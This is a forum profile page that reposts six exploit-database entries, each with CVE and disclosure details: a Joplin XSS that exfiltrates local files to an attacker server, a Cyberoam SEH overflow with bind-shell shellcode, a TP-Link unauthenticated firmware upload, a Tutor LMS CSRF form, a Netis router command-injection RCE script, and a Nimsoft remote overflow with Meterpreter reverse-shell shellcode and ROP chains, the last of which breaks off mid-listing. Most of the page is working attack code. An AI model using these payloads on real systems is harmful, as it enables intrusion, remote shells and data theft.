Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. # Exploit Title: Joplin Desktop 1.0.184 - Cross-Site Scripting # Exploit Author: Javier Olmedo # Date: 2020-02-27 # Vendor: Laurent Cozic # Software Link: https://github.com/laurent22/joplin/archive/v1.0.184.zip # Affected Version: 1.0.184 and before # Patched Version: 1.0.185 # Category: Remote # Platform: Windows # Tested on: Windows 10 Pro # CWE: https://cwe.mitre.org/data/definitions/79.html # CVE: 2020-9038 # References: # https://github.com/JavierOlmedo/CVE-2020-9038 # https://github.com/laurent22/joplin/commit/3db47b575b9cb0a765da3d283baa2c065df0d0bc # 1. Technical Description # Joplin Desktop version 1.0.184 and before are affected by Cross-Site Scripting # vulnerability through the malicious note. This allows a malicious user # read arbitrary files of system. # 2. Proof Of Concept (PoC) # 2.1 Start a webserver to receive the connection in evil machine (you can use a python server). python -m SimpleHTTPServer 8080 # 2.2 Upload exploit.js file to your web server (Change your IP, PORT and USER) function readTextFile(file){ var rawFile = new XMLHttpRequest(); rawFile.open("GET", file, false); rawFile.onreadystatechange = function (){ if(rawFile.readyState === 4){ if(rawFile.status === 200 || rawFile.status == 0){ allText = rawFile.responseText; //alert(allText); var img = document.createElement('img'); img.src = "http://[IP:PORT]/" + allText; document.body.appendChild(img) } } } rawFile.send(null); } readTextFile("file:///C:/Users/[USER]/Desktop/SECRET.TXT"); //readTextFile("file:///C:/Windows/System32/drivers/etc/hosts"); # 2.3 Create a secret.txt file with any content in victim desktop. # 2.4 Create a New note in Joplin Desktop and copy next payload in note body content (change your base64). <p><img src onerror=eval(atob("dmFyIHNjcmlwdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3J pcHQiKTtzY3JpcHQudHlwZT0idGV4dC9qYXZhc2NyaXB0IjtzY3JpcHQuc3JjPSJodHRwOi8vMTkyLjE2O C4xMDAuNjk6ODA4MC9leHBsb2l0LmpzIjtkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCI pWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk="))></p> # 2.5 Your web server will receive a request with the contents of the secret.txt file Serving HTTP on 0.0.0.0 port 8080 ... 192.168.100.250 - - [02/Feb/2020 08:27:22] "GET /exploit.js HTTP/1.1" 200 - 192.168.100.250 - - [02/Feb/2020 08:27:27] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 - # 3. Timeline # 20, december 2019 - [RESEARCHER] Discover # 20, december 2019 - [RESEARCHER] Report to vendor support # 21, december 2019 - [DEVELOPER] Recognized vulnerability # 13, february 2020 - [DEVELOPER] Patched vulnerability # 27, february 2020 - [RESEARCHER] Public disclosure # 4. Disclaimer # The information contained in this notice is provided without any guarantee of use or otherwise. # The redistribution of this notice is explicitly permitted for insertion into vulnerability # databases, provided that it is not modified and due credit is granted to the author. # The author prohibits the malicious use of the information contained herein and accepts no responsibility. # All content (c) # Javier Olmedo
  2. # Exploit Title: Cyberoam Authentication Client 2.1.2.7 - Buffer Overflow (SEH) # Date: 2020-02-28 # Exploit Author: Andrey Stoykov # Version: Cyberoam General Authentication Client 2.1.2.7 # Tested on: Windows Vista SP2 x86 Steps to Reproduce: 1) Run the POC 2) Copy the contents of "sploit.txt" into the "Cyberoam Server Address" and click "Check" 3) Bind TCP shell should spawn on port 1337 # Badchars to be avoided: "\x0a\x00\x0d\x01\x02\x03\x04" # msfvenom -p windows/shell_bind_tcp -f c -b "\x0a\x00\x0d\x01\x02\x03\x04" lport=1337 -e x86/alpha_mixed Exploit POC: shellcode = ("\x89\xe6\xdd\xc5\xd9\x76\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a" "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32" "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" "\x49\x6c\x6a\x48\x4e\x62\x77\x70\x43\x30\x67\x70\x43\x50\x6f" "\x79\x6d\x35\x66\x51\x6f\x30\x71\x74\x6e\x6b\x42\x70\x66\x50" "\x6e\x6b\x30\x52\x34\x4c\x6e\x6b\x76\x32\x32\x34\x4e\x6b\x30" "\x72\x64\x68\x46\x6f\x6d\x67\x43\x7a\x54\x66\x70\x31\x39\x6f" "\x4e\x4c\x77\x4c\x71\x71\x33\x4c\x46\x62\x66\x4c\x37\x50\x4b" "\x71\x38\x4f\x54\x4d\x46\x61\x49\x57\x49\x72\x79\x62\x72\x72" "\x71\x47\x6c\x4b\x43\x62\x74\x50\x4e\x6b\x70\x4a\x55\x6c\x6c" "\x4b\x50\x4c\x77\x61\x73\x48\x4a\x43\x43\x78\x35\x51\x6a\x71" "\x43\x61\x6c\x4b\x30\x59\x77\x50\x35\x51\x4e\x33\x6e\x6b\x33" "\x79\x67\x68\x69\x73\x64\x7a\x77\x39\x6c\x4b\x75\x64\x4e\x6b" "\x75\x51\x4a\x76\x66\x51\x59\x6f\x4e\x4c\x5a\x61\x58\x4f\x66" "\x6d\x47\x71\x4a\x67\x45\x68\x49\x70\x73\x45\x59\x66\x47\x73" "\x71\x6d\x68\x78\x67\x4b\x61\x6d\x76\x44\x62\x55\x78\x64\x70" "\x58\x4e\x6b\x72\x78\x34\x64\x53\x31\x4e\x33\x52\x46\x6c\x4b" "\x66\x6c\x52\x6b\x4c\x4b\x76\x38\x67\x6c\x73\x31\x5a\x73\x4c" "\x4b\x34\x44\x6e\x6b\x57\x71\x6a\x70\x4e\x69\x33\x74\x36\x44" "\x56\x44\x33\x6b\x71\x4b\x70\x61\x31\x49\x50\x5a\x46\x31\x69" "\x6f\x79\x70\x53\x6f\x63\x6f\x30\x5a\x6e\x6b\x64\x52\x5a\x4b" "\x4c\x4d\x61\x4d\x35\x38\x55\x63\x75\x62\x37\x70\x77\x70\x53" "\x58\x62\x57\x71\x63\x76\x52\x43\x6f\x71\x44\x55\x38\x30\x4c" "\x72\x57\x31\x36\x64\x47\x39\x6f\x69\x45\x4e\x58\x5a\x30\x75" "\x51\x33\x30\x47\x70\x46\x49\x4b\x74\x42\x74\x32\x70\x30\x68" "\x36\x49\x6d\x50\x50\x6b\x57\x70\x4b\x4f\x69\x45\x31\x7a\x53" "\x38\x70\x59\x72\x70\x4a\x42\x39\x6d\x73\x70\x70\x50\x43\x70" "\x66\x30\x42\x48\x6b\x5a\x36\x6f\x49\x4f\x4b\x50\x49\x6f\x79" "\x45\x4c\x57\x42\x48\x75\x52\x45\x50\x35\x55\x35\x69\x4e\x69" "\x4a\x46\x51\x7a\x52\x30\x62\x76\x36\x37\x50\x68\x4b\x72\x59" "\x4b\x55\x67\x55\x37\x79\x6f\x4a\x75\x70\x57\x71\x78\x68\x37" "\x79\x79\x67\x48\x79\x6f\x6b\x4f\x4e\x35\x33\x67\x43\x58\x63" "\x44\x6a\x4c\x75\x6b\x4b\x51\x39\x6f\x49\x45\x32\x77\x6d\x47" "\x52\x48\x70\x75\x70\x6e\x30\x4d\x53\x51\x79\x6f\x6b\x65\x31" "\x78\x63\x53\x50\x6d\x42\x44\x67\x70\x6f\x79\x49\x73\x73\x67" "\x72\x77\x62\x77\x64\x71\x4a\x56\x32\x4a\x54\x52\x46\x39\x33" "\x66\x4a\x42\x79\x6d\x32\x46\x7a\x67\x50\x44\x71\x34\x75\x6c" "\x67\x71\x56\x61\x6e\x6d\x33\x74\x51\x34\x52\x30\x38\x46\x53" "\x30\x67\x34\x43\x64\x30\x50\x46\x36\x32\x76\x42\x76\x77\x36" "\x53\x66\x72\x6e\x42\x76\x50\x56\x43\x63\x36\x36\x71\x78\x53" "\x49\x68\x4c\x77\x4f\x6c\x46\x79\x6f\x49\x45\x6d\x59\x4d\x30" "\x50\x4e\x70\x56\x63\x76\x79\x6f\x46\x50\x71\x78\x66\x68\x6d" "\x57\x75\x4d\x55\x30\x69\x6f\x79\x45\x4f\x4b\x58\x70\x58\x35" "\x4f\x52\x71\x46\x52\x48\x6c\x66\x6d\x45\x4d\x6d\x6f\x6d\x6b" "\x4f\x69\x45\x75\x6c\x74\x46\x63\x4c\x47\x7a\x6b\x30\x59\x6b" "\x39\x70\x31\x65\x77\x75\x6f\x4b\x72\x67\x62\x33\x50\x72\x30" "\x6f\x42\x4a\x77\x70\x72\x73\x79\x6f\x59\x45\x41\x41") buffer = "A"*216 + "\xeb\x10\x90\x90"+ "\x97\x44\x9c\x0f" + "\x90"*500 + shellcode buffer += "B"*(16688-216-8-500) f = open('sploit.txt', 'w') f.write(buffer) f.close()
  3. # Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware # Version: TL-WR849N 0.9.1 4.16 # Tested on: linux, windows # CVE : CVE-CVE-2019-19143 Uploading new firmware without access to the panel REFS: https://github.com/ElberTavares/routers-exploit/tp-link https://fireshellsecurity.team/hack-n-routers/ Poc: curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://TARGET/mainFrame.htm" -F data=@conf.bin http://TARGET/cgi/confup
  4. # Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) # Date: 2020-01-30 # Vendor Homepage: https://www.themeum.com/product/tutor-lms/ # Vendor Changelog: https://wordpress.org/plugins/tutor/#developers # Exploit Author: Jinson Varghese Behanan # Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/ # Author Homepage: https://www.jinsonvarghese.com # Version: 1.5.2 and below # CVE : CVE-2020-8615 # 1. Description # The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. # An attacker can use CSRF to register themselves as an instructor or block other legit instructors. # Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings # page, the attacker will be able to create courses directly as well. All WordPress websites # using Tutor LMS version 1.5.2 and below are affected. # 2. Proof of Concept # As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF # attack to approve an attacker-controlled instructor account can be performed by having the admin # visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, # after retrieving the instructor ID during the registration process. An approved instructor can also be blocked # by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7. # CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor # in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. # This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is # hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can # be tricked into visiting the link and triggering the request to add an instructor. <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://TARGET/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="add&#95;new&#95;instructor" /> <input type="hidden" name="first&#95;name" value="John" /> <input type="hidden" name="last&#95;name" value="Doe" /> <input type="hidden" name="user&#95;login" value="jd_instructor" /> <input type="hidden" name="email" value="jd@TARGET" /> <input type="hidden" name="phone&#95;number" value="1231231231" /> <input type="hidden" name="password" value="Pa&#36;&#36;w0rd&#33;" /> <input type="hidden" name="password&#95;confirmation" value="Pa&#36;&#36;w0rd&#33;" /> <input type="hidden" name="tutor&#95;profile&#95;bio" value="Et&#32;tempore&#32;culpa&#32;n" /> <input type="hidden" name="action" value="tutor&#95;add&#95;instructor" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Timeline Vulnerability reported to the Tutor LMS team – January 30, 2020. Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.
  5. # Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution # Exploit Author: Elias Issa # Vendor Homepage: http://www.netis-systems.com # Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75 # Date: 2020-02-11 # Version: WF2419 V2.2.36123 => V2.2.36123 # Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123 # CVE : CVE-2019-19356 # Proof of Concept: python netis_rce.py http://192.168.1.1 "ls" #!/usr/bin/env python import argparse import requests import json def exploit(host,cmd): # Send Payload headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0', 'Content-Type': 'application/x-www-form-urlencoded'} post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0" vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi" req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value) print('[+] Payload sent') try : json_data = json.loads(req_payload.text) if json_data[0] == "SUCCESS": print('[+] Exploit Sucess') # Get Command Result print('[+] Getting Command Output\n') result_page = host + "/cgi-bin-igd/netcore_get.cgi" post_data = "mode_name=netcore_get&no=no" req_result = requests.post(result_page, data=post_data, headers=headers_value) json_data = json.loads(req_result.text) results = json_data["tools_results"] print results.replace(';', '\n') else: print('[-] Exploit Failed') except: print("[!] You might need to login.") # To be implemented def login(user, password): print('To be implemented') def main(): host = args.host cmd = args.cmd user = args.user password = args.password #login(user,password) exploit(host,cmd) if __name__ == "__main__": ap = argparse.ArgumentParser( description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]") ap.add_argument("host", help="URL (Example: http://192.168.1.1).") ap.add_argument("cmd", help="Command to run.") ap.add_argument("-u", "--user", help="Admin username (Default: admin).", default="admin") ap.add_argument("-p", "--password", help="Admin password (Default: admin).", default="admin") args = ap.parse_args() main()
  6. # Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow # Exploit Author: wetw0rk # Exploit Version: Public POC # Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en # Software Version : 7.80 # Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) # CVE: CVE-2020-8012 /************************************************************************************************************************** * * * Description: * * * * Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * * The exploit won't crash the service. * * * * You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * * should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * * universal (worked first try on 2012). * * * * Note: * * * * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass * * the stack cookie. WE OUT HERE!!! * * * * Compile: * * * * gcc poc_release.c -o singAboutMeImDyingOfThirst * * * * Shoutout: * * * * Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * * for dropping Ghidra, and my Mentor * * * * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * * 11/07/19 - Vendor contacted (POC code and POC video sent) * * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled * * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) * * 12/03/19 - Vendor confirms exploitability and vulnerability presence * * 12/13/19 - Vendor finalizing hotfix * * 12/19/19 - Vendor hotfix tested against POC code * * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * * 01/21/20 - Vendor replies (awaiting more info) * * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * * 02/XX/20 - PoC sample dropped * **************************************************************************************************************************/ #include <stdio.h> #include <stdint.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <getopt.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> /* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ unsigned char shellcode[] = \ "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; const char *exploited[] = \ { "10.0.18362", "6.3.9600", }; const char *versions[]= \ { "7.80 [Build 7.80.3132, Jun 1 2015]", }; /******************************************************************************************************************** * * * NimsoftProbe: * * * * This is the structure used for the packet generator, it will be used specifically as the return type. Within * * the structure there are 2 members, first the pointer to the packet and secondly the packet length. * * * * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): * * * * This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * * few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * * * ********************************************************************************************************************/ #define PHLEN 300 /* header */ #define PBLEN 2000 /* body */ #define PALEN 10000 /* argv */ #define FPLEN 20000 /* final probe */ #define CLIENT "127.0.0.1/1337" #define INTSIZ(x) snprintf(NULL, 0, "%i", x) unsigned char packet_header[] = \ "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; unsigned char packet_body[] = \ /* nimbus header */ "\x6d\x74\x79\x70\x65\x0F" /* mtype */ "\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ "\x63\x6d\x64\x0F" /* cmd */ "\x37\x0F%d\x0F" /* 7.x */ "%s\x0F" /* probe */ "\x73\x65\x71\x0F" /* seq */ "\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ "\x74\x73\x0F" /* ts */ "\x31\x0F%d\x0F" /* 1.X */ "%d\x0F" /* UNIX EPOCH */ "\x66\x72\x6d\x0F" /* frm */ "\x37\x0F%d\x0F" /* 7.15 */ "%s\x0F" /* client addr */ "\x74\x6f\x75\x74\x0F" /* tout */ "\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ "\x61\x64\x64\x72\x0F" /* addr */ "\x37\x0F\x30\x0F"; /* 7.0 */ typedef struct { char *packet; int length; } NimsoftProbe; NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer) { int index = 0; int fmt_args; int lbody = 0; int largs = 0; char *tptr; char pheader[PHLEN]; char pbody[PBLEN]; char pargs[PALEN]; char pbuffer[FPLEN]; char temp_buffer[80]; char *probe = lparams[0]; int epoch_time = (int)time(NULL); NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe)); fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s", (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); if ((fmt_args + sizeof(packet_body)) > PBLEN) { printf("Failed to generate packet body\n"); exit(-1); } lbody = snprintf(pbody, PBLEN, packet_body, (strlen(probe)+1), probe, (INTSIZ(epoch_time)+1), epoch_time, (strlen(CLIENT)+1), CLIENT ); for (i = 1; i < nparams; i++) { memset(temp_buffer, '\0', 80); for (j = 0; j < strlen(lparams[i]); j++) { if ((c = lparams[i][j]) == '=') { memcpy(temp_buffer, lparams[i], j); index = ++j; break; } } tptr = lparams[i]; if ((c = 1, c += strlen(temp_buffer)) < PALEN) { largs += snprintf(pargs+largs, c, "%s", temp_buffer); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } if (index > 0 && exploit_buffer == 0) { tptr = tptr+index; if ((largs + strlen(tptr) + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += strlen(tptr); if ((largs + c) < PALEN) { largs += snprintf(pargs+largs, c, "%s", tptr); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } if (index > 0 && exploit_buffer > 0) { tptr = tptr+index; if ((largs + exploit_buffer + 2) < PALEN) { largs += snprintf(pargs+largs, 2, "%s", "1"); largs++; largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1); largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } c = 1, c += exploit_buffer; if ((largs + c) < PALEN) { memcpy(pargs+largs, tptr, c); largs += exploit_buffer; largs++; } else { printf("Failed to generate packet arguments\n"); exit(-1); } } } index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs); index += lbody; if (index < FPLEN) { strncat(pbuffer, pbody, lbody); } else { printf("Failed to concatenate packet body\n"); exit(-1); } for (i = 0; i < index; i++) if (pbuffer[i] == '\x0f') pbuffer[i] = '\x00'; if ((index + largs) < FPLEN) { for (i = 0; i < largs; i++) pbuffer[index++] = pargs[i]; } else { printf "Failed to concatenate packet arguments\n"); exit(-1); } probePtr->packet = pbuffer; probePtr->length = index; return probePtr; } /********************************************************************************************************************* * * * int parse_directory(char *response, int length): * * * * This function will parse the directory contents, specifically looking for the entry keyword; if found, we can * * proceed with exploitation. * * * * int check_vulnerability(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once * * sent the returned packet will be parsed by parse_directory. * * * *********************************************************************************************************************/ #define PE "(\033[1m\033[31m-\033[0m)" #define PI "(\033[1m\033[94m*\033[0m)" #define PG "(\033[1m\033[92m+\033[0m)" int parse_directory(char *response, int length) { int i; int backup; int check = 0; int index = 0; char buf[80]; struct tm ts; time_t capture; if (strncmp(response, "nimbus/1.0", 10) != 0) return -1; while (index < length) { if (strcmp("entry", (response+index)) == 0) printf("%s Persistence is an art\n\n", PG); if (strcmp("name", (response+index)) == 0) { backup = index; check = 1; /* last modified */ for (int i = 0; i < 15; i++) index += strlen(response+index) + 1; capture = atoi(response+index); ts = *localtime(&capture); strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts); printf("%12s ", buf); index = backup; /* type */ for (int i = 0; i < 7; i++) index += strlen(response+index) + 1; if (strcmp("2", (response+index)) == 0) printf("%7s", " "); else printf("%-7s", "<DIR>"); index = backup; /* name */ for (int i = 0; i < 3; i++) index += strlen(response+index) + 1; printf("%s\n", response+index); } index += strlen(response+index) + 1; } return (check != 1) ? -1 : 0; } int check_vulnerability(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" }; probe = packet_gen(get_directory_listing, 3, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Verifying vulnerable probe is reachable\n", PI); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if (parse_directory(response, count) == 0) printf("\n%s Target ready for exploitation\n", PG); else return -1; free(probe); close(sock); return 0; } /******************************************************************************************************************** * * * char *nimdex(char *haystack, char *needle, int size): * * * * This function works similar to strstr, however it was specifically made to index "keys" to their respective * * "values" within a Nimbus packet. It has only been tested against the get_info packet. * * * * int parse_response(char *response, int length): * * * * This function leverages nimdex to perform 2 checks. The first check will verify the target operating system * * has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has * * a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in * * my ROP chain being universal. * * * * int check_version(char *rhost, int rport): * * * * This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent * * the returned packet will be parsed by parse_response. * * * ********************************************************************************************************************/ char *nimdex(char *haystack, char *needle, int size) { int found = 0; int index = 0; if (strncmp(haystack, "nimbus/1.0", 10) != 0) return NULL; while (index < size) { if (strcmp(needle, (haystack+index)) == 0) found = 2; else if (found >= 2) found++; if (found == 5) return &haystack[index]; index += strlen(haystack+index) + 1; } return NULL; } int parse_response(char *response, int length) { int i; int c; char *ptr; int check = 0; int nv = sizeof(versions)/sizeof(versions[0]); int ne = sizeof(exploited)/sizeof(exploited[0]); if ((ptr = nimdex(response, "os_minor", length)) == NULL) return -1; printf("%s Probe successful, detected: %s\n", PI, ptr); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; for (i = 0; i < ne; i++) if ((strcmp(exploited[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against OS version\n", PE); printf("%s Continute exploitation (Y/N): ", PE); c = getchar(); if (tolower(c) != 'y') exit(-1); printf("%s If exploitation successful, update code!!!\n", PI); if ((ptr = nimdex(response, "os_version", length)) == NULL) return -1; printf("%s Target OS ID: %s\n", PI, ptr); } else printf("%s Target OS appears to be exploitable\n", PI); check = 0; if ((ptr = nimdex(response, "version", length)) == NULL) return -1; for (i = 0; i < nv; i++) if ((strcmp(versions[i], ptr)) == 0) check = 1; if (check != 1) { printf("%s Exploit has not been tested against target build\n", PE); exit(-1); } else printf("%s Nimbus build appears to be exploitable\n", PI); return 0; } int check_version(char *rhost, int rport) { int c; int sock; int count; NimsoftProbe *probe; char response[BUFSIZ]; struct sockaddr_in srv; char *get_operating_sys[] = { "get_info", "interfaces=0" }; probe = packet_gen(get_operating_sys, 2, 0); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport); send(sock, probe->packet, probe->length, 0); count = read(sock, response, BUFSIZ); if ((parse_response(response, count) != 0)) { printf("%s Probe failed, unable to parse packet\n", PE); exit(-1); } free(probe); close(sock); return 0; } /***************************************************************************************************************** * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail. * * I had VP work 50% of the time when the stack was unaligned. * *****************************************************************************************************************/ int64_t rsp_alignment_rop_gadgets[] = { [0 ... 19] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400af237, // pop rdi ; ret 0x0000000000000007, // alignment for rsp 0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret }; /***************************************************************************************************************** * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. * * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated, * * we needn't worry about other Windows OS's. * *****************************************************************************************************************/ int64_t dep_bypass_rop_gadgets[] = { // RAX -> HMODULE GetModuleHandleA( // ( RCX == *module ) 